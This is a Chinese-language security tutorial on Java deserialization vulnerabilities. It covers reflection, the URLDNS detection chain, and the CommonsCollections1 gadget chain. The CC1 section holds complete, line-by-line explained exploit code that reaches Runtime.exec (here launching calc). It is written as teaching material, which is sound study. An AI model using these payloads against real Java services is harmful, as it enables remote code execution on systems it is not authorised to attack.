Java 反序列化链
概述
在 Java 中,readObject 执行反序列化,而 writeObject 执行序列化。
在 Java 中,若要将一个对象通过 writeObject 序列化保存到磁盘上,那该对象的所属类或父类,必须继承 Serializable 接口。
Java 反序列化漏洞 根本原因 是开发者重写了 Java 自带的 readObject 方法,导致反序列化时调用的是开发者自己写的 readObject 方法。
Java 反射机制
概述
Java 反射(Reflection)是 Java 非常重要的动态特性,它允许程序在运行时动态地获取类的信息并操作类或对象的属性和方法。通过使用反射不仅可以获取到任何类的成员方法、成员变量、构造方法等信息,还可以动态创建 Java 类实例、调用任意的类方法、修改任意的类成员变量值等。
反射的核心类
Java 反射主要通过以下几个核心类实现:
- Class 类:代表类的实体
- Field 类:代表类的成员变量
- Method 类:代表类的方法
- Constructor 类:代表类的构造方法
获取类名 Class
// 🌟方式1:通过类的名字获取,Class.forName(),(推荐)
Class<?> clazz3 = Class.forName("java.lang.String");
// 方式2:通过类名的 class 属性获取,类名.class
Class<?> clazz1 = String.class;
// 方式3:通过类的对象,找到类,对象.getClass()
String str = "Hello";
Class<?> clazz2 = str.getClass();
实例化对象
// 使用 Class 对象的 newInstance() 方法(已过时,Java9+)
Class<?> clazz = Class.forName("com.example.Person");
Object obj = clazz.newInstance();
// 使用 Constructor 的 newInstance() 方法(推荐)
Constructor<?> constructor = clazz.getConstructor();
Object obj = constructor.newInstance();
// 带参数的构造方法
Constructor<?> constructor = clazz.getConstructor(String.class, int.class);
Object obj = constructor.newInstance("张三", 25);
获取与调用方法
Class<?> clazz = Person.class;
Object obj = clazz.newInstance();
// 获取 public 方法(getMethod)
Method method = clazz.getMethod("setName", String.class);
// 调用方法(invoke)
method.invoke(obj, "wangwu");
// 获取所有方法(包括 private)
Method[] methods = clazz.getDeclaredMethods();
for (Method m : methods) {
    m.setAccessible(true);
    if (m.getName().equals("privateMethod")) {
        m.invoke(obj);
    }
}
URLDNS 反序列化链
URLDNS 反序列化链是一种较为简单的利用链,主要用于触发 DNS 解析以验证漏洞的存在,而不会直接执行恶意代码。其核心目标是通过反序列化过程触发 URLStreamHandler 类的 hashCode 方法,进而调用 getHostAddress 方法,发起 DNS 查询。
1.1 URLDNS 链的工作原理
URLDNS 链利用了 Java 中 HashMap、URL 和 URLStreamHandler 类在反序列化过程中的调用关系。以下是链条的详细流程:
- 反序列化触发 HashMap的readObject方法 在 Java 反序列化过程中,当对象被反序列化时,HashMap类的readObject方法会被自动调用。readObject方法负责重建HashMap的内部键值对,并在此过程中调用hash方法来计算键的哈希值。
- HashMap.hash方法调用键的- URL.hashCode方法- HashMap的- hash方法会调用键对象的- hashCode方法。如果- HashMap的键是一个- URL对象,则会调用- URL类的- hashCode方法。
- URL.hashCode方法调用- URLStreamHandler.hashCode在- URL类的- hashCode方法中,会调用其关联的- URLStreamHandler对象的- hashCode方法(通过- handler.hashCode(this))。- URL类的- handler字段默认是一个- URLStreamHandler实例,因此会触发- URLStreamHandler的- hashCode方法。
- URLStreamHandler.hashCode触发 DNS 解析- URLStreamHandler的- hashCode方法在计算哈希值时,会调用- getHostAddress方法尝试解析 URL 的域名,从而触发 DNS 查询。这是 URLDNS 链的核心利用点。
// 最终构造链
HashMap.readObject -> HashMap.hash -> URL.hashCode -> URLStreamHadler.hashCode -> getHostAddress
1.2 URLDNS 链的代码实现
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        // 构造URL对象,指向需要触发的DNS查询地址
        URL url = new URL("http://example.dns.test");
        // 创建HashMap并将URL对象作为键
        HashMap<URL, Integer> hashMap = new HashMap<>();
        hashMap.put(url, 1);
        // 序列化HashMap对象
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hashMap);
        oos.close();
        // 反序列化,触发DNS解析
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
代码详解
- import java.io.*;导入 Java 的序列化和反序列化相关类(如- ObjectOutputStream和- ObjectInputStream),用于生成和解析序列化数据。
- import java.net.URL;导入- URL类,用于构造包含目标域名的 URL 对象。
- import java.util.HashMap;导入- HashMap类,作为反序列化链的入口点。
- URL url = new URL("http://example.dns.test");创建一个- URL对象,指定需要触发的 DNS 查询地址(- example.dns.test)。在反序列化时,该域名会被解析。
- HashMap<URL, Integer> hashMap = new HashMap<>();创建一个- HashMap,并将- URL对象作为键存储。- HashMap在反序列化时会触发- readObject方法。
- hashMap.put(url, 1);将- URL对象作为键放入- HashMap,确保在反序列化时调用- URL的- hashCode方法。
- ByteArrayOutputStream baos = new ByteArrayOutputStream();创建字节数组输出流,用于存储序列化后的数据。
- ObjectOutputStream oos = new ObjectOutputStream(baos);创建对象输出流,用于将- HashMap对象序列化。
- oos.writeObject(hashMap);将- HashMap对象序列化为字节流。
- ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());创建字节数组输入流,用于读取序列化数据。
- ObjectInputStream ois = new ObjectInputStream(bais);
 创建对象输入流,用于反序列化。
- ois.readObject();执行反序列化操作,触发- HashMap的- readObject方法,进而调用- URL的- hashCode方法,最终触发 DNS 解析。
1.3 关键类和包
- java.util.HashMap
位于 java.util包,是 Java 标准库中的键值对集合类,支持序列化和反序列化。其readObject方法在反序列化时会调用hash方法。
- java.net.URL
位于 java.net包,表示统一资源定位符。URL类的hashCode方法会调用URLStreamHandler的hashCode方法。
- java.net.URLStreamHandler
位于 java.net包,是一个抽象类,负责处理 URL 协议。其hashCode方法会调用getHostAddress,触发 DNS 解析。
CommonCollections1 (CC1)反序列化链
CommonCollections1 (CC1)链是 Apache Commons Collections 库中的一个经典反序列化利用链,能够通过精心构造的序列化数据实现任意代码执行。其核心目标是通过反序列化触发 Runtime.getRuntime().exec() 方法,执行指定的操作系统命令。
2.1 CC1 链的工作原理
CC1 链利用了 Commons Collections 库中的 ChainedTransformer、LazyMap、TransformedMap 和 AnnotationInvocationHandler 类,通过一系列的 transformer 对象构造一个调用链,最终触发 Runtime.getRuntime().exec()。以下是链条的详细流程:
- 反序列化触发 - AnnotationInvocationHandler的- readObject方法 在反序列化过程中,- AnnotationInvocationHandler的- readObject方法会被自动调用。该方法会操作其内部的- Map对象(通常是- TransformedMap),触发- setValue方法。
- TransformedMap.setValue调用- checkSetValue- TransformedMap的- setValue方法会调用- checkSetValue,后者会使用- valueTransformer(通常是- ChainedTransformer)对值进行转换,触发- ChainedTransformer.transform方法。
- ChainedTransformer.transform执行转换链- ChainedTransformer的- transform方法会按顺序调用一组- Transformer对象(例如- ConstantTransformer和- InvokerTransformer),逐步构造- Runtime.getRuntime().exec()的调用。
- 构造 - Runtime.getRuntime().exec调用 通过以下步骤构造完整的调用链:- 使用 ConstantTransformer返回Runtime.class。
- 使用 InvokerTransformer调用Class.getMethod("getRuntime",null),获取getRuntime方法。
- 使用 InvokerTransformer调用Method.invoke(null,null),执行Runtime.getRuntime()。
- 使用 InvokerTransformer调用Runtime.exec("calc"),执行命令(例如打开计算器)。
 
- 使用 
// 完整调用命令
((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc");
2.2 CC1 链的代码实现
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        // 构造Transformer链
        Transformer[] transformers = new Transformer[] {
            // 返回Runtime.class
            new ConstantTransformer(Runtime.class),
            // 调用Class.getMethod("getRuntime", null)
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            // 调用Method.invoke(null, null)
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            // 调用Runtime.exec("calc")
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        // 创建ChainedTransformer,串联所有Transformer
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        // 创建初始Map
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        // 使用TransformedMap包装,设置valueTransformer为ChainedTransformer
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        // 获取AnnotationInvocationHandler类
        Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        // 创建AnnotationInvocationHandler实例
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        oos.close();
        // 反序列化,触发命令执行
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();
    }
}
代码详解
- import java.io.*;导入序列化和反序列化相关类,用于生成和解析序列化数据。
- import java.lang.annotation.Retention;导入- Retention类,作为- AnnotationInvocationHandler的构造参数。
- import java.lang.reflect.*;导入反射相关类,用于动态获取- AnnotationInvocationHandler的构造函数。
- import org.apache.commons.collections.*;导入 Commons Collections 库中的- Transformer、- ChainedTransformer、- ConstantTransformer、- InvokerTransformer和- TransformedMap类,用于构造调用链。
- Transformer[] transformers = new Transformer[] {...};定义一个- Transformer数组,包含以下步骤:- ConstantTransformer(Runtime.class):返回- Runtime类对象。
- InvokerTransformer("getMethod", ...):调用- Class.getMethod("getRuntime", null),获取- getRuntime方法。
- InvokerTransformer("invoke", ...):调用- Method.invoke(null, null),执行- Runtime.getRuntime()。
- InvokerTransformer("exec", ...):调用- Runtime.exec("calc"),执行命令- calc(打开计算器)。
 
- Transformer chainedTransformer = new ChainedTransformer(transformers);创建- ChainedTransformer对象,将所有- Transformer串联起来,按顺序执行。
- Map innerMap = new HashMap();创建一个- HashMap,作为- TransformedMap的底层存储。
- innerMap.put("value", "value");添加一个键值对,确保- TransformedMap在反序列化时触发- setValue操作。
- Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);使用- TransformedMap.decorate包装- HashMap,设置- valueTransformer为- ChainedTransformer,确保值转换时触发调用链。
- Class<?> annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");通过反射获取- AnnotationInvocationHandler类。
- Constructor<?> constructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);获取- AnnotationInvocationHandler的构造函数,接受- Class和- Map参数。
- constructor.setAccessible(true);设置构造函数可访问,绕过访问限制。
- InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, transformedMap);创建- AnnotationInvocationHandler实例,传入- Retention类和- TransformedMap对象。
- 序列化和反序列化部分 与 URLDNS 链类似,通过 - ObjectOutputStream序列化- handler对象,通过- ObjectInputStream反序列化,触发- AnnotationInvocationHandler的- readObject方法,进而执行整个调用链。
2.3 关键类和包
- org.apache.commons.collections.Transformer
Commons Collections 库中的接口,定义了 transform方法,用于对象转换。
- org.apache.commons.collections.functors.ChainedTransformer
实现 Transformer接口,串联多个Transformer对象,依次调用其transform方法。
- org.apache.commons.collections.functors.ConstantTransformer
返回固定对象的 Transformer实现,用于返回Runtime.class。
- org.apache.commons.collections.functors.InvokerTransformer
通过反射调用指定方法,用于构造 getMethod、invoke和exec调用。
- org.apache.commons.collections.map.TransformedMap
包装 Map,在键值操作时应用Transformer进行转换。
- sun.reflect.annotation.AnnotationInvocationHandler
位于 JDK 的 sun.reflect.annotation包,处理注解的动态代理类,其readObject方法会触发TransformedMap的操作。
- java.lang.Runtime
位于 java.lang包,提供与运行时环境的交互方法,如exec。



